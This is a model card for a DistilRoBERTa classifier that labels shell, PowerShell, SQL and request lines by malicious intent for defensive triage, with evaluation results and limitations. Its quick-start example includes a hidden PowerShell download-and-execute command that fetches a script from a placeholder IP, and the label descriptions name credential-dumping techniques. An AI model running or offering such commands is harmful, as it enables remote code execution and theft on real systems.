--- license: apache-2.0 language: - en library_name: transformers pipeline_tag: text-classification base_model: distilbert/distilroberta-base datasets: - DaveyD347/script-intent-commands tags: - cybersecurity - security - command-line - powershell - bash - sql-injection - mitre-attack - threat-detection metrics: - accuracy - f1 - precision - recall model-index: - name: script-intent-distilroberta results: - task: type: text-classification name: Script intent classification dataset: name: Script & Payload Intent (template-disjoint test split) type: DaveyD347/script-intent-commands split: test metrics: - type: accuracy value: 0.780 - type: f1 name: Macro F1 value: 0.778 - task: type: text-classification name: Script intent classification dataset: name: Script & Payload Intent (hand-written challenge set) type: DaveyD347/script-intent-commands config: challenge split: test metrics: - type: accuracy value: 0.753 - type: f1 name: Macro F1 value: 0.756 --- # Script Intent Classifier (DistilRoBERTa) Reads one command line, script fragment, SQL query or HTTP request line and predicts the **intent** behind it: benign, reconnaissance, credential harvesting, reverse shell, persistence, download and execute, or SQL injection. It covers bash, PowerShell, Windows `cmd`, SQL and URL-encoded request lines. It is meant as a **triage signal** for process command-line telemetry, shell history, EDR exports and WAF logs: rank what an analyst looks at first and say *why* it looks bad. It is not a standalone blocking control. ## Quick start ```python from transformers import pipeline clf = pipeline("text-classification", model="DaveyD347/script-intent-distilroberta", top_k=3) clf("powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://203.0.113.5/a.ps1')\"") # [{'label': 'download_execute', ...}, ...] clf("sudo systemctl restart nginx") # [{'label': 'benign', ...}, ...] ``` ## Labels | id | Label | Covers | |---|---|---| | 0 | `benign` | Routine admin, dev and DBA work, including look-alikes | | 1 | `reconnaissance` | Host, user, network, privilege, cloud and Active Directory discovery | | 2 | `credential_harvesting` | LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting | | 3 | `reverse_shell` | Interactive callbacks to a listener | | 4 | `persistence` | Cron, systemd, Run keys, scheduled tasks, WMI, SSH keys, rogue accounts, web shells | | 5 | `download_execute` | Fetching a remote payload and running it | | 6 | `sql_injection` | Injection payloads in parameters, queries and request lines | ## Evaluation Two evaluation sets, both unseen during training: - **Template-disjoint test split** (3,360 rows, 108 templates). The dataset is generated from 540 templates, and no test template appears in training. This measures generalization to *new command patterns*. A random row-level split would report around 99% and mean very little. - **Hand-written challenge set** (73 rows), written after the templates were final, using tools and phrasings that aren't in any template. It is small, so each row moves accuracy by about 1.4 points. ### Headline numbers | Metric | Test split | Challenge set | |---|---|---| | Accuracy (7-way) | **78.0%** | **75.3%** | | Macro F1 | **0.778** | **0.756** | | Malicious detection rate (any malicious label vs benign) | 94.1% | 80.0% | | False negative rate (malicious called benign) | 5.9% | 20.0% | | False positive rate (benign called malicious) | 22.5% | 8.7% | ### Per class (test split, n = 480 each) | Label | Precision | Recall | F1 | |---|---|---|---| | benign | 0.685 | 0.775 | 0.727 | | reconnaissance | 0.769 | 0.637 | 0.697 | | credential_harvesting | 0.766 | 0.723 | 0.744 | | reverse_shell | 0.686 | 0.683 | 0.685 | | persistence | 0.780 | 0.754 | 0.767 | | download_execute | 0.903 | 0.890 | 0.896 | | sql_injection | 0.871 | 1.000 | 0.931 | By language (test accuracy): `cmd` 91.9%, `sql` 86.7%, `powershell` 72.3%, `bash` 70.0%. ![Confusion matrix](eval/confusion_matrix.png) Full metrics, confusion matrices and misclassified examples are in [`eval/metrics.json`](eval/metrics.json). ### What the errors look like - **Benign versus reconnaissance and credential access** is the hardest boundary. `ps aux`, `whoami`, `Get-WinEvent` or `chmod 600 /etc/ssl/private/*.key` look like discovery or secret handling, and without context (who ran it, when, from which parent process) the text alone is ambiguous. This drives most of the 22.5% test false positive rate. - **Reverse shell versus persistence and download-execute.** A cron job or scheduled task whose payload is a reverse shell or a stager is labeled `persistence` (its primary intent), and the model often picks the payload instead. From a triage standpoint both answers are "malicious", which is why the binary detection rate is much higher than 7-way accuracy. - **Unknown tool names.** Commands whose only signal is the name of a tool the model never saw (`mimipenguin`, `trufflehog`, `SharpHound.exe`) are often called benign. The model learns syntax and context, not a tool blocklist; pair it with one. ## Training | | | |---|---| | Base model | `distilbert/distilroberta-base` (82M parameters) | | Data | [`DaveyD347/script-intent-commands`](https://huggingface.co/datasets/DaveyD347/script-intent-commands), 11,760 training rows from 377 templates | | Epochs | 2 (best validation macro F1 at epoch 2: 0.830) | | Learning rate | 5e-5, linear decay, 6% warmup, weight decay 0.01 | | Batch size | 32 | | Max length | 128 tokens | | Hardware | 4 CPU cores, about 36 minutes | | Seed | 42 | Training code (`train.py`), the dataset generator (`generate_dataset.py`, `templates.py`) and the evaluation script (`evaluate.py`) are in the dataset repository under `src/`. ## Intended use - Ranking and enriching command-line telemetry for analyst review - Explaining alerts with an intent label and a MITRE ATT&CK-aligned category - Teaching and prototyping detection engineering with transformers ## Out of scope and limitations - **Not a blocking control.** At a 22.5% false positive rate on hard benign templates, blocking on this model alone would break legitimate admin work. - **Trained on synthetic data.** Real telemetry is longer and messier. Expect lower accuracy in production, and validate on your own logs before relying on it. - **Single command, single label.** No process tree, user, host or timing context, and no multi-label output for commands that chain intents. - **Shallow obfuscation coverage.** Heavily obfuscated PowerShell (Invoke-Obfuscation, string splitting, environment-variable tricks) and base64 payloads are only partly covered. The model does not decode base64. - **Truncation.** Inputs over 128 tokens are truncated, so long scripts should be split into lines or statements first. - **Adversarial robustness was not tested.** An attacker who knows the model is in use can likely rephrase commands to evade it. ## Ethical considerations The model and dataset describe publicly documented attack techniques at the level defenders already write detection rules for. Neither contains working exploits, binaries, real infrastructure or real credentials. The intended use is defensive. ## Citation ```bibtex @misc{script_intent_distilroberta_2026, title = {Script Intent Classifier (DistilRoBERTa)}, author = {DaveyD347}, year = {2026}, url = {https://huggingface.co/DaveyD347/script-intent-distilroberta} } ```